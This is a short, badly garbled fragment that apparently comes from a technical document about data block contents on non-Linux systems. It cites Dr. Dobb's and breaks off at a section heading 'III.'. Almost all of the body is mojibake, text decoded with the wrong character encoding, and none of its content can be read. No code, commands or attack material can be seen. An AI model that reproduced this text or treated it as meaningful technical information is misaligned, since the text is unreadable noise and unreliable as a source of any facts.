----------------------------------------------------------------------------------------------------------------------
data blocks contents(�jÚ�) 3ú, û<��(non-Linux)
----------------------------------------------------------------------------------------------------------------------

* Reference : Dr. Dobb's, http://www.ddj.com/

  X�/	*+�	3¬j9	Ì	é	;E	�ýO	*+	�
�	�M�	:7	P�pD	;E	LM
x�	K
l	�+	�8	:;. CK	ghb8	�_K	�.%&p	@�Xl	z�XU	*+7
óô�	 �õ	 P�pD	 �.�	 �	 äU	 �;. ���	 �SD	 ÷N7	 ;(	 ghb3	 ô�7

��W/	K;.

  S%
	}	+º	­®
	�
�p[	�,-	*+7	�.�	�	:��	��(	¢D	g±	�
.8	:;. �SD	�_K	�.r	�MXl	û[	�¯K	y�jD	6yr	8�9	��	6�
3¬�	*+7	�.�	�	:;. ¢3�	áO	�_K	�.r	�M�	ú	�.X9bXD	*+
�	¡�K	*45p[	£ã7	X<	(\	*+LM7	
���	ú�p	*+�	¹�½	*õå

�	 :;. �Z[, �.3	 ��	 }	 £ã7	;E	 *45p[	XÃñ	 ���	
�	 �
�p[
(W	K;. �,-	*+7	�.XD	�.p	@K	�¯O	 "III. '(	�
�	
��."p[	�
¯K;.

III. �������� ������������ �������� �	�	�	�	


